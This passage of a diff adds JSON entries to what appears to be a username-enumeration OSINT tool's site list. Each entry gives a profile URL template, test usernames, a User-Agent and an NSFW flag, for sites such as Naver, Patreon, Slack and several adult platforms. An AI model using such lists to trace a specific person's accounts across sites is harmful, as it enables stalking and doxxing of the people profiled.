}, + "naver": { + "url": "https://naver.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://blog.naver.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://blog.naver.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "needrom": { + "url": "https://www.needrom.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.needrom.com/author/%s/", + "existUsername": "needrom", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.needrom.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "newgrounds": { + "url": "https://newgrounds.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.newgrounds.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.newgrounds.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "nextcloudforum": { + "url": "https://nextcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://help.nextcloud.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://help.nextcloud.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "nightbot": { + "url": "https://nightbot.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.nightbot.tv/1/channels/t/%s", + "existUsername": "green", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://nightbot.tv/t/%s/commands" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nintendolife": { + "url": "https://www.nintendolife.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.nintendolife.com/users/%s", + "existUsername": "goku", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.nintendolife.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "notabug-org": { + "url": "https://notabug.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://notabug.org/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://notabug.org/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "nyaa-si": { + "url": "https://nyaa.si/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://nyaa.si/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://nyaa.si/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "si" + } + }, + "ogusers": { + "url": "https://ogu.gg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ogu.gg/%s", + "existUsername": "ogusers", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ogu.gg/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + }, + "status": false + }, + "openstreetmap": { + "url": "https://www.openstreetmap.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.openstreetmap.org/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.openstreetmap.org/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "oraclecommunity": { + "url": "https://community.oracle.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.oracle.com/people/%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.oracle.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "patreon": { + "url": "https://www.patreon.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.patreon.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.patreon.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "periscope": { + "url": "https://www.periscope.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.periscope.tv/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.periscope.tv/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pinkbike": { + "url": "https://www.pinkbike.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.pinkbike.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.pinkbike.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "playstore": { + "url": "https://play.google.com/store", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://play.google.com/store/apps/developer?id=%s", + "existUsername": "Facebook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://play.google.com/store/apps/developer?id=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pokemonshowdown": { + "url": "https://pokemonshowdown.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pokemonshowdown.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pokemonshowdown.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "polarsteps": { + "url": "https://polarsteps.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://polarsteps.com/%s", + "existUsername": "james", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://polarsteps.com/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "polygon": { + "url": "https://www.polygon.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.polygon.com/users/%s", + "existUsername": "swiftstickler", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.polygon.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pornhub": { + "url": "https://pornhub.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pornhub.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pornhub.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "promodj": { + "url": "http://promodj.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://promodj.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://promodj.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "rajce-net": { + "url": "https://www.rajce.idnes.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.rajce.idnes.cz/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.rajce.idnes.cz/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "rateyourmusic": { + "url": "https://rateyourmusic.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://rateyourmusic.com/~%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://rateyourmusic.com/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rcloneforum": { + "url": "https://forum.rclone.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.rclone.org/u/%s", + "existUsername": "ncw", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.rclone.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "redtube": { + "url": "https://www.redtube.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.redtube.com/users/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.redtube.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "redbubble": { + "url": "https://www.redbubble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.redbubble.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.redbubble.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "reisefrage": { + "url": "https://www.reisefrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.reisefrage.net/nutzer/%s", + "existUsername": "reisefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.reisefrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "replit-com": { + "url": "https://replit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://replit.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://replit.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "royalcams": { + "url": "https://royalcams.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://royalcams.com/profile/%s", + "existUsername": "asuna-black", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://royalcams.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rumble": { + "url": "https://rumble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://rumble.com/user/%s", + "existUsername": "John", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://rumble.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "swapd": { + "url": "https://swapd.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://swapd.co/u/%s", + "existUsername": "swapd", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://swapd.co/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "sbazar-cz": { + "url": "https://www.sbazar.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sbazar.cz/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sbazar.cz/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "scratch": { + "url": "https://scratch.mit.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://scratch.mit.edu/users/%s", + "existUsername": "griffpatch", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://scratch.mit.edu/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "shitpostbot5000": { + "url": "https://www.shitpostbot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.shitpostbot.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.shitpostbot.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "shpock": { + "url": "https://www.shpock.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.shpock.com/shop/%s/items", + "existUsername": "user", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.shpock.com/shop/%s/items" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AT" + } + }, + "sketchfab": { + "url": "https://sketchfab.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://sketchfab.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sketchfab.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slack": { + "url": "https://slack.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.slack.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.slack.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slant": { + "url": "https://www.slant.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.slant.co/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.slant.co/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "slideshare": { + "url": "https://slideshare.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://slideshare.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://slideshare.net/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slides": { + "url": "https://slides.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://slides.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://slides.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "smugmug": { + "url": "https://smugmug.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.smugmug.com", + "existUsername": "winchester", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.smugmug.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "soundcloud": { + "url": "https://soundcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://soundcloud.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://soundcloud.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "splice": { + "url": "https://splice.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://splice.com/%s", + "existUsername": "splice", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://splice.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "splits-io": { + "url": "https://splits.io", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://splits.io/users/%s", + "existUsername": "cambosteve", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://splits.io/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sporcle": { + "url": "https://www.sporcle.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sporcle.com/user/%s/people", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sporcle.com/user/%s/people" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "sportlerfrage": { + "url": "https://www.sportlerfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sportlerfrage.net/nutzer/%s", + "existUsername": "sportlerfrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sportlerfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "sportsru": { + "url": "https://www.sports.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sports.ru/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sports.ru/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "tldrlegal": { + "url": "https://tldrlegal.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tldrlegal.com/users/%s/", + "existUsername": "kevin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tldrlegal.com/users/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "traktrain": { + "url": "https://traktrain.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://traktrain.com/%s", + "existUsername": "traktrain", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://traktrain.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tellonym-me": { + "url": "https://tellonym.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tellonym.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tellonym.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tenor": { + "url": "https://tenor.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tenor.com/users/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tenor.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "themeforest": { + "url": "https://themeforest.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://themeforest.net/user/%s", + "existUsername": "user", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://themeforest.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "tnaflix": { + "url": "https://www.tnaflix.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.tnaflix.com/profile/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.tnaflix.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CY" + } + }, + "tradingview": { + "url": "https://www.tradingview.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.tradingview.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.tradingview.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "trakt": { + "url": "https://www.trakt.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": 